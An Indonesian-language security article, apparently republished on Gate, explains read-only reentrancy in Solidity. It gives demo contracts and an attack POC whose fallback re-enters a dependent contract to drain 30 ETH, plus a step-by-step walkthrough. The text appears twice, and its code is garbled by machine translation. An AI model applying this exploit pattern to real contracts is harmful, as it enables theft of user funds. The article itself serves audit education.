Penulis artikel ini: Pakar riset keamanan Beosin, Sivan
Baru-baru ini, ada banyak serangan re-entry di ekosistem blockchain, serangan-serangan ini tidak seperti kerentanan re-entry yang kita ketahui sebelumnya, tetapi serangan re-entry read-only yang terjadi ketika proyek memiliki kunci re-entry.
Pengetahuan yang diperlukan untuk audit keamanan hari ini, tim riset keamanan Beosin akan menjelaskan kepada Anda apa itu "serangan reentrancy read-only".
Situasi apa yang menyebabkan risiko kerentanan masuk kembali?
Dalam proses pemrograman kontrak pintar Solidity, satu kontrak pintar diizinkan untuk memanggil kode kontrak pintar lainnya. Dalam desain bisnis banyak proyek, perlu mengirim ETH ke alamat tertentu, tetapi jika alamat penerima ETH adalah kontrak pintar, fungsi fallback dari kontrak pintar akan dipanggil. Jika pengguna jahat menulis kode yang dirancang dengan baik di fungsi cadangan kontrak, mungkin ada risiko kerentanan reentrancy.
Penyerang dapat memulai kembali panggilan ke kontrak proyek dalam fungsi mundur dari kontrak jahat. Saat ini, proses panggilan pertama belum selesai, dan beberapa variabel belum diubah. Dalam hal ini, panggilan kedua akan menyebabkan kontrak proyek untuk menggunakan variabel yang tidak biasa melakukan perhitungan terkait atau mengizinkan penyerang melewati beberapa batasan pemeriksaan.
Dengan kata lain, akar dari kerentanan reentrancy terletak pada pemanggilan antarmuka kontrak target setelah transfer dieksekusi, dan perubahan buku besar menyebabkan pemeriksaan dilewati setelah pemanggilan kontrak target, yaitu desain tidak secara ketat sesuai dengan mode cek-validasi-interaksi. Oleh karena itu, selain kerentanan reentrancy yang disebabkan oleh transfer Ethereum, beberapa desain yang tidak tepat juga dapat menyebabkan serangan reentrancy, seperti contoh berikut:
1. Memanggil fungsi eksternal yang dapat dikontrol akan menyebabkan kemungkinan masuk kembali
2. Fungsi terkait keamanan ERC721/1155 dapat menyebabkan reentrancy
Saat ini, serangan reentrancy adalah kerentanan umum. Sebagian besar pengembang proyek blockchain juga menyadari bahaya serangan reentrancy. Kunci reentrancy pada dasarnya diatur dalam proyek, sehingga saat memanggil fungsi dengan kunci reentrancy, fungsi apa pun yang memegang reentrant yang sama kunci tidak dapat dipanggil lagi. Meskipun reentry lock dapat secara efektif mencegah serangan reentry di atas, ada serangan lain yang disebut "read-only reentry" yang sulit dicegah.
Apakah "reentrancy read-only" yang sulit dicegah?
Di atas kami memperkenalkan tipe reentrant yang umum, yang intinya adalah menggunakan status abnormal untuk menghitung status baru setelah masuk kembali, yang menghasilkan pembaruan status abnormal. Kemudian jika fungsi yang kita panggil adalah fungsi read-only yang dimodifikasi tampilan, tidak akan ada modifikasi status dalam fungsi tersebut, dan setelah fungsi dipanggil, itu tidak akan berdampak pada kontrak ini. Oleh karena itu, pengembang proyek fungsi semacam itu tidak akan terlalu memperhatikan risiko reentrancy, dan tidak akan menambahkan kunci reentrancy ke dalamnya.
Meskipun fungsi yang diubah oleh tampilan entri ulang pada dasarnya tidak akan memengaruhi kontrak ini, ada situasi lain di mana kontrak akan memanggil fungsi tampilan kontrak lain sebagai ketergantungan data, dan fungsi tampilan kontrak ini tidak menambahkan entri ulang lock. Kemudian dapat menyebabkan risiko read-only reentrancy.
Misalnya, sebuah proyek Sebuah kontrak dapat menjaminkan token dan menarik token, dan menyediakan fungsi menanyakan harga sesuai dengan jumlah total token dan sertifikat kontrak yang dijanjikan Ada kunci entri ulang antara token yang dijanjikan dan token yang ditarik, dan kueri fungsi tidak Ada kunci reentrant. Ada proyek B lain yang menyediakan fungsi penarikan janji. Ada kunci re-entry antara janji dan penarikan. Fungsi penarikan janji bergantung pada fungsi kueri harga proyek A untuk menghitung token voucher.
Ada risiko reentrancy read-only antara dua proyek di atas, seperti yang ditunjukkan pada gambar di bawah ini:
Penyerang mempertaruhkan dan menarik token di ContractA.
Penarikan token akan memanggil fungsi fallback kontrak penyerang.
Penyerang memanggil fungsi janji di ContractB lagi di kontrak.
Fungsi janji akan memanggil fungsi penghitungan harga ContractA. Saat ini, status kontrak ContractA belum diperbarui, mengakibatkan kesalahan dalam perhitungan harga, dan lebih banyak token dihitung dan dikirim ke penyerang.
Setelah reentry selesai, status ContractA diperbarui.
Terakhir, penyerang memanggil ContractB untuk menarik token.
Saat ini, data yang diperoleh oleh ContractB telah diperbarui, dan lebih banyak token yang dapat ditarik.
Analisis prinsip kode
Kami mengambil demo berikut sebagai contoh untuk menjelaskan masalah read-only reentrancy Berikut ini hanya kode pengujian tanpa logika bisnis nyata Ini hanya digunakan sebagai referensi untuk mempelajari read-only reentrancy.
Tulis KontrakSebuah kontrak:
pragma solidity ^0.8.21;contract ContractA { uint256 private _totalSupply; uint256 private _allstake; mapping (address => uint256) public _balances; bool check=true; /** * Reentry lock. **/ modifier noreentrancy(){ require(check); check=false; _; check=true; } constructor(){ } /** * Hitung kontribusi berdasarkan jumlah total token dan jumlah yang dijaminkan dari Nilai sertifikat kontrak, 10e8 untuk pemrosesan presisi. **/ function get_price() pengembalian virtual tampilan publik (uint256) { if(_totalSupply==0||_allstake==0) return 10e8; return _totalSupply*10e8/_allstake; } /\ ** * Kontribusi pengguna, tingkatkan jumlah kontribusi dan berikan mata uang voucher. **/ function deposit() public payable noreentrancy(){ uint256 mintamount=msg.value*get_price()/10e8; _allstake+=msg.value; _balances[msg.sender]+=mintamount; \ _totalSupply+=mintmount; } /** * Pengguna menarik, mengurangi jumlah yang dijaminkan dan menghancurkan jumlah total token. **/ function withdraw(uint256 burnamount) public noreentrancy(){ uint256 sendamount=burnamount*10e8/get_price(); _allstake-=sendamount; payable(msg.sender).call{value:sendamount}( ""); _balances[msg.sender]-=burnamount; _totalSupply-=burnamount;
Terapkan kontrak ContractA dan janjikan 50ETH, dan proyek simulasi sudah berjalan.
Tulis kontrak ContractB (bergantung pada fungsi contractA contract get_price):
soliditas pragma ^0.8.21;interface ContractA { function get_price() external view returns (uint256);}contract ContractB { ContractA contract_a; mapping (address => uint256) private _balances; bool check=true; () { memerlukan(periksa); periksa=salah; _; periksa=benar; } konstruktor(){ } fungsi setcontracta(alamat alamat) publik { kontrak_a = KontrakA(addr); } /** * Janji token , hitung nilai token yang dijaminkan sesuai dengan get_price() kontrak ContractA, dan hitung jumlah token voucher**/ function depositFunds() public payable noreentrancy(){ uint256 mintamount=msg.value\ *contract _a.get_price()/10e8; _balances[msg.sender]+=mintmount; } /** * Tarik token dan hitung token voucher sesuai kontrak ContractA get_price() Hitung nilai penarikan tokens**/ function withdrawFunds(uint256 burnamount) public payable noreentrancy(){ _balances[msg.sender]-=burnamount; uint256 amount=burnamount*10e8/contract_a.get_price(); msg.sender .call{nilai:jumlah}(""); } fungsi balanceof(address acount) pengembalian tampilan publik (uint256){ return _balances [acount] ;
Terapkan kontrak ContractB untuk mengatur alamat ContractA, dan janjikan 30ETH, dan proyek simulasi sudah berjalan.
Tulis kontrak serangan POC:
pragma solidity ^0.8.21;interface ContractA { function deposit() external payable; function withdraw(uint256 amount) external;}interface ContractB { function depositFunds() external payable; action balanceof(address acount) external view return (uint256);} contract POC { ContractA contract_a; ContractB contract_b; address payable _owner; uint flag=0; uint256 depositamount=30 ether; ); } function setaddr(address _contracta,address _contractb) public { contract_a=ContractA (_contracta); contract_b=ContractB(_contractb); } /** * Serangan mulai memanggil fungsi, Menambahkan likuiditas, menghapus likuiditas, dan akhirnya menarik token. **/ fungsi mulai(jumlah uint256)publik { kontrak_a.deposit{nilai:jumlah}(); kontrak_a.penarikan(jumlah); kontrak_b.penarikanFunds(kontrak_b.keseimbangan(alamat(ini ))); } /** * Fungsi staking dipanggil dalam reentrancy. **/ function deposit()internal { contract_b.depositFunds{value:depositamount}(); } /** * Setelah serangan selesai, tarik ETH. **/ function getEther() public { _owner.transfer(address(this).balance); } /** * fungsi callback, kunci reentrant. **/ fallback() pembayaran eksternal { if(msg.sender==address(contract_a)){ deposit(); }
Ubah ke akun EOA lain untuk menyebarkan kontrak serangan dan transfer 50ETH, dan atur alamat ContractA dan ContractB.
Berikan 50000000000000000000 (50*10^18) ke fungsi awal dan jalankan, dan temukan bahwa 30ETH dari ContractB telah ditransfer oleh kontrak POC.
Panggil fungsi getEther lagi, dan alamat penyerang mendapatkan 30ETH.
Analisis proses panggilan kode:
Fungsi start pertama-tama memanggil fungsi deposit dari kontrak ContractA untuk menggadaikan ETH. Penyerang meneruskan 50*10^18, ditambah 50*10^18 yang dimiliki oleh kontrak awal. Pada saat ini, _allstake dan _totalSupply keduanya 100*10 ^18.
Selanjutnya, panggil fungsi penarikan kontrak dari ContractA untuk menarik token. Kontrak pertama akan memperbarui _allstake, dan mengirim 50 ETH ke kontrak serangan. Pada saat ini, ia akan memanggil fungsi fallback dari kontrak serangan, dan terakhir memperbarui _totalSupply .
Dalam fungsi fallback, kontrak serangan memanggil kontrak ContractB untuk menjaminkan 30 ETH. Karena get_price adalah fungsi tampilan, kontrak ContractB berhasil masuk kembali ke fungsi get_price dari ContractA. Saat ini, karena _totalSupply belum diperbarui, masih 100\ *10^18, tetapi _allstake telah dikurangi menjadi 50*10^18, sehingga nilai yang dikembalikan di sini akan menjadi dua kali lipat. Ini akan menambah 60*10^18 koin token ke kontrak serangan.
Setelah entri ulang selesai, kontrak serangan memanggil kontrak ContractB untuk mengekstrak ETH. Saat ini, _totalSupply telah diperbarui menjadi 50*10^18, dan jumlah ETH yang sama dengan mata uang sertifikat akan dihitung. Mentransfer 60ETH ke kontrak serangan. Pada akhirnya, penyerang mendapat untung 30ETH.
Nasihat Keamanan Beosin
Untuk masalah keamanan di atas, tim keamanan Beosin menyarankan: Untuk proyek yang perlu mengandalkan proyek lain sebagai dukungan data, keamanan logika bisnis dari kombinasi proyek yang bergantung dan proyeknya sendiri harus diperiksa secara ketat. Jika tidak ada masalah dalam dua proyek saja, masalah keamanan yang serius dapat muncul setelah menggabungkannya.
Lihat Asli
Halaman ini mungkin berisi konten pihak ketiga, yang disediakan untuk tujuan informasi saja (bukan pernyataan/jaminan) dan tidak boleh dianggap sebagai dukungan terhadap pandangannya oleh Gate, atau sebagai nasihat keuangan atau profesional. Lihat Penafian untuk detailnya.
Pengetahuan penting untuk audit keamanan: Apa itu "serangan masuk kembali hanya-baca" yang sering terjadi baru-baru ini dan sulit dicegah?
Penulis artikel ini: Pakar riset keamanan Beosin, Sivan
Baru-baru ini, ada banyak serangan re-entry di ekosistem blockchain, serangan-serangan ini tidak seperti kerentanan re-entry yang kita ketahui sebelumnya, tetapi serangan re-entry read-only yang terjadi ketika proyek memiliki kunci re-entry.
Pengetahuan yang diperlukan untuk audit keamanan hari ini, tim riset keamanan Beosin akan menjelaskan kepada Anda apa itu "serangan reentrancy read-only".
Situasi apa yang menyebabkan risiko kerentanan masuk kembali?
Dalam proses pemrograman kontrak pintar Solidity, satu kontrak pintar diizinkan untuk memanggil kode kontrak pintar lainnya. Dalam desain bisnis banyak proyek, perlu mengirim ETH ke alamat tertentu, tetapi jika alamat penerima ETH adalah kontrak pintar, fungsi fallback dari kontrak pintar akan dipanggil. Jika pengguna jahat menulis kode yang dirancang dengan baik di fungsi cadangan kontrak, mungkin ada risiko kerentanan reentrancy.
Penyerang dapat memulai kembali panggilan ke kontrak proyek dalam fungsi mundur dari kontrak jahat. Saat ini, proses panggilan pertama belum selesai, dan beberapa variabel belum diubah. Dalam hal ini, panggilan kedua akan menyebabkan kontrak proyek untuk menggunakan variabel yang tidak biasa melakukan perhitungan terkait atau mengizinkan penyerang melewati beberapa batasan pemeriksaan.
Dengan kata lain, akar dari kerentanan reentrancy terletak pada pemanggilan antarmuka kontrak target setelah transfer dieksekusi, dan perubahan buku besar menyebabkan pemeriksaan dilewati setelah pemanggilan kontrak target, yaitu desain tidak secara ketat sesuai dengan mode cek-validasi-interaksi. Oleh karena itu, selain kerentanan reentrancy yang disebabkan oleh transfer Ethereum, beberapa desain yang tidak tepat juga dapat menyebabkan serangan reentrancy, seperti contoh berikut:
1. Memanggil fungsi eksternal yang dapat dikontrol akan menyebabkan kemungkinan masuk kembali
2. Fungsi terkait keamanan ERC721/1155 dapat menyebabkan reentrancy
Saat ini, serangan reentrancy adalah kerentanan umum. Sebagian besar pengembang proyek blockchain juga menyadari bahaya serangan reentrancy. Kunci reentrancy pada dasarnya diatur dalam proyek, sehingga saat memanggil fungsi dengan kunci reentrancy, fungsi apa pun yang memegang reentrant yang sama kunci tidak dapat dipanggil lagi. Meskipun reentry lock dapat secara efektif mencegah serangan reentry di atas, ada serangan lain yang disebut "read-only reentry" yang sulit dicegah.
Apakah "reentrancy read-only" yang sulit dicegah?
Di atas kami memperkenalkan tipe reentrant yang umum, yang intinya adalah menggunakan status abnormal untuk menghitung status baru setelah masuk kembali, yang menghasilkan pembaruan status abnormal. Kemudian jika fungsi yang kita panggil adalah fungsi read-only yang dimodifikasi tampilan, tidak akan ada modifikasi status dalam fungsi tersebut, dan setelah fungsi dipanggil, itu tidak akan berdampak pada kontrak ini. Oleh karena itu, pengembang proyek fungsi semacam itu tidak akan terlalu memperhatikan risiko reentrancy, dan tidak akan menambahkan kunci reentrancy ke dalamnya.
Meskipun fungsi yang diubah oleh tampilan entri ulang pada dasarnya tidak akan memengaruhi kontrak ini, ada situasi lain di mana kontrak akan memanggil fungsi tampilan kontrak lain sebagai ketergantungan data, dan fungsi tampilan kontrak ini tidak menambahkan entri ulang lock. Kemudian dapat menyebabkan risiko read-only reentrancy.
Misalnya, sebuah proyek Sebuah kontrak dapat menjaminkan token dan menarik token, dan menyediakan fungsi menanyakan harga sesuai dengan jumlah total token dan sertifikat kontrak yang dijanjikan Ada kunci entri ulang antara token yang dijanjikan dan token yang ditarik, dan kueri fungsi tidak Ada kunci reentrant. Ada proyek B lain yang menyediakan fungsi penarikan janji. Ada kunci re-entry antara janji dan penarikan. Fungsi penarikan janji bergantung pada fungsi kueri harga proyek A untuk menghitung token voucher.
Ada risiko reentrancy read-only antara dua proyek di atas, seperti yang ditunjukkan pada gambar di bawah ini:
Penyerang mempertaruhkan dan menarik token di ContractA.
Penarikan token akan memanggil fungsi fallback kontrak penyerang.
Penyerang memanggil fungsi janji di ContractB lagi di kontrak.
Fungsi janji akan memanggil fungsi penghitungan harga ContractA. Saat ini, status kontrak ContractA belum diperbarui, mengakibatkan kesalahan dalam perhitungan harga, dan lebih banyak token dihitung dan dikirim ke penyerang.
Setelah reentry selesai, status ContractA diperbarui.
Terakhir, penyerang memanggil ContractB untuk menarik token.
Saat ini, data yang diperoleh oleh ContractB telah diperbarui, dan lebih banyak token yang dapat ditarik.
Analisis prinsip kode
Kami mengambil demo berikut sebagai contoh untuk menjelaskan masalah read-only reentrancy Berikut ini hanya kode pengujian tanpa logika bisnis nyata Ini hanya digunakan sebagai referensi untuk mempelajari read-only reentrancy.
Tulis KontrakSebuah kontrak:
pragma solidity ^0.8.21;contract ContractA { uint256 private _totalSupply; uint256 private _allstake; mapping (address => uint256) public _balances; bool check=true; /** * Reentry lock. **/ modifier noreentrancy(){ require(check); check=false; _; check=true; } constructor(){ } /** * Hitung kontribusi berdasarkan jumlah total token dan jumlah yang dijaminkan dari Nilai sertifikat kontrak, 10e8 untuk pemrosesan presisi. **/ function get_price() pengembalian virtual tampilan publik (uint256) { if(_totalSupply==0||_allstake==0) return 10e8; return _totalSupply*10e8/_allstake; } /\ ** * Kontribusi pengguna, tingkatkan jumlah kontribusi dan berikan mata uang voucher. **/ function deposit() public payable noreentrancy(){ uint256 mintamount=msg.value*get_price()/10e8; _allstake+=msg.value; _balances[msg.sender]+=mintamount; \ _totalSupply+=mintmount; } /** * Pengguna menarik, mengurangi jumlah yang dijaminkan dan menghancurkan jumlah total token. **/ function withdraw(uint256 burnamount) public noreentrancy(){ uint256 sendamount=burnamount*10e8/get_price(); _allstake-=sendamount; payable(msg.sender).call{value:sendamount}( ""); _balances[msg.sender]-=burnamount; _totalSupply-=burnamount;
Terapkan kontrak ContractA dan janjikan 50ETH, dan proyek simulasi sudah berjalan.
Tulis kontrak ContractB (bergantung pada fungsi contractA contract get_price):
soliditas pragma ^0.8.21;interface ContractA { function get_price() external view returns (uint256);}contract ContractB { ContractA contract_a; mapping (address => uint256) private _balances; bool check=true; () { memerlukan(periksa); periksa=salah; _; periksa=benar; } konstruktor(){ } fungsi setcontracta(alamat alamat) publik { kontrak_a = KontrakA(addr); } /** * Janji token , hitung nilai token yang dijaminkan sesuai dengan get_price() kontrak ContractA, dan hitung jumlah token voucher**/ function depositFunds() public payable noreentrancy(){ uint256 mintamount=msg.value\ *contract _a.get_price()/10e8; _balances[msg.sender]+=mintmount; } /** * Tarik token dan hitung token voucher sesuai kontrak ContractA get_price() Hitung nilai penarikan tokens**/ function withdrawFunds(uint256 burnamount) public payable noreentrancy(){ _balances[msg.sender]-=burnamount; uint256 amount=burnamount*10e8/contract_a.get_price(); msg.sender .call{nilai:jumlah}(""); } fungsi balanceof(address acount) pengembalian tampilan publik (uint256){ return _balances [acount] ;
Terapkan kontrak ContractB untuk mengatur alamat ContractA, dan janjikan 30ETH, dan proyek simulasi sudah berjalan.
Tulis kontrak serangan POC:
pragma solidity ^0.8.21;interface ContractA { function deposit() external payable; function withdraw(uint256 amount) external;}interface ContractB { function depositFunds() external payable; action balanceof(address acount) external view return (uint256);} contract POC { ContractA contract_a; ContractB contract_b; address payable _owner; uint flag=0; uint256 depositamount=30 ether; ); } function setaddr(address _contracta,address _contractb) public { contract_a=ContractA (_contracta); contract_b=ContractB(_contractb); } /** * Serangan mulai memanggil fungsi, Menambahkan likuiditas, menghapus likuiditas, dan akhirnya menarik token. **/ fungsi mulai(jumlah uint256)publik { kontrak_a.deposit{nilai:jumlah}(); kontrak_a.penarikan(jumlah); kontrak_b.penarikanFunds(kontrak_b.keseimbangan(alamat(ini ))); } /** * Fungsi staking dipanggil dalam reentrancy. **/ function deposit()internal { contract_b.depositFunds{value:depositamount}(); } /** * Setelah serangan selesai, tarik ETH. **/ function getEther() public { _owner.transfer(address(this).balance); } /** * fungsi callback, kunci reentrant. **/ fallback() pembayaran eksternal { if(msg.sender==address(contract_a)){ deposit(); }
Ubah ke akun EOA lain untuk menyebarkan kontrak serangan dan transfer 50ETH, dan atur alamat ContractA dan ContractB.
Berikan 50000000000000000000 (50*10^18) ke fungsi awal dan jalankan, dan temukan bahwa 30ETH dari ContractB telah ditransfer oleh kontrak POC.
Panggil fungsi getEther lagi, dan alamat penyerang mendapatkan 30ETH.
Analisis proses panggilan kode:
Fungsi start pertama-tama memanggil fungsi deposit dari kontrak ContractA untuk menggadaikan ETH. Penyerang meneruskan 50*10^18, ditambah 50*10^18 yang dimiliki oleh kontrak awal. Pada saat ini, _allstake dan _totalSupply keduanya 100*10 ^18.
Selanjutnya, panggil fungsi penarikan kontrak dari ContractA untuk menarik token. Kontrak pertama akan memperbarui _allstake, dan mengirim 50 ETH ke kontrak serangan. Pada saat ini, ia akan memanggil fungsi fallback dari kontrak serangan, dan terakhir memperbarui _totalSupply .
Dalam fungsi fallback, kontrak serangan memanggil kontrak ContractB untuk menjaminkan 30 ETH. Karena get_price adalah fungsi tampilan, kontrak ContractB berhasil masuk kembali ke fungsi get_price dari ContractA. Saat ini, karena _totalSupply belum diperbarui, masih 100\ *10^18, tetapi _allstake telah dikurangi menjadi 50*10^18, sehingga nilai yang dikembalikan di sini akan menjadi dua kali lipat. Ini akan menambah 60*10^18 koin token ke kontrak serangan.
Setelah entri ulang selesai, kontrak serangan memanggil kontrak ContractB untuk mengekstrak ETH. Saat ini, _totalSupply telah diperbarui menjadi 50*10^18, dan jumlah ETH yang sama dengan mata uang sertifikat akan dihitung. Mentransfer 60ETH ke kontrak serangan. Pada akhirnya, penyerang mendapat untung 30ETH.
Nasihat Keamanan Beosin
Untuk masalah keamanan di atas, tim keamanan Beosin menyarankan: Untuk proyek yang perlu mengandalkan proyek lain sebagai dukungan data, keamanan logika bisnis dari kombinasi proyek yang bergantung dan proyeknya sendiri harus diperiksa secara ketat. Jika tidak ada masalah dalam dua proyek saja, masalah keamanan yang serius dapat muncul setelah menggabungkannya.